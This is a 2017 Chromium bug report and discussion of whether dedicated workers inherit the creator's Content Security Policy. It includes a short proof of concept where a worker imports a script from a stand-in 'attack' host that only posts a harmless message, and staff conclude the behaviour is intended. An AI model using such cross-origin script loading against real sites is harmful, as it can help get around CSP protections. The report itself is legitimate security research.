Dedicated worker does not inherit creator’s policy.
Reported by
s.h.h.n....@gmail.com,
Sep 20 2017
|
|||
Issue descriptionUserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 Steps to reproduce the problem: 1. Go to https://test.shhnjk.com/worker-src.html 2. Message from cross-origin worker is displayed What is the expected behavior? Cross-origin worker is blocked with creator’s policy. <meta http-equiv="Content-Security-Policy" content="worker-src 'self';"> What went wrong? Changes from CSP 2 (https://w3c.github.io/webappsec-csp/#changes-from-level-2) state that: "Dedicated workers now always inherit their creator’s policy" But it isn't. Did this work before? N/A Chrome version: 61.0.3163.91 Channel: stable OS Version: 10.0 Flash Version:
,
Sep 20 2017
I'm having trouble accessing the PoC, can you paste/attach the relevant code? Thanks!
,
Sep 20 2017
worker-src.html
<meta http-equiv="Content-Security-Policy" content="worker-src 'self';">
<script>
var myWorker = new Worker("worker.js");
myWorker.onmessage = function(e) {
document.body.innerHTML=e.data;
}
</script>
worker.js
importScripts("https://cross-origin.com/attack.js");
https://cross-origin.com/attack.js
postMessage("Message from attacker!");
,
Sep 20 2017
Thanks! Mike can correct me if I'm wrong, but I think importScripts() is covered by script-src and not worker-src since it loads a script but doesn't create a new worker context. I would expect the cross-origin load to fail if your document's policy also sets script-src 'self', but the behavior you're currently seeing makes sense to me. Cheers, -Artur
,
Sep 20 2017
#4: I tested by changing the meta tag to:
<meta http-equiv="Content-Security-Policy" content="worker-src 'self'; script-src 'self'">
and indeed, I did get this exception in the JS console:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-Pa8B7lhou8wtXed/4iOyFKeZG1pBtOCHY2WDEf5zPiA='), or a nonce ('nonce-...') is required to enable inline execution.
So it seems this is working as intended, and not a bug. If that's wrong, let me know.
,
Sep 21 2017
Just to confirm: `importScripts` is ~the same as `<script whatever>`. We treat it as `script-src`, not as `worker-src`. In the Amazing Future Times(tm) when we implement nested workers, we'll tie those to `worker-src`.
,
Dec 28 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||
►
Sign in to add a comment |
|||
Comment 1 by palmer@chromium.org
, Sep 20 2017Components: Blink>Workers Blink>SecurityFeature
Labels: -Arch-x86_64 OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac
Owner: nhiroki@chromium.org
Status: Assigned (was: Unconfirmed)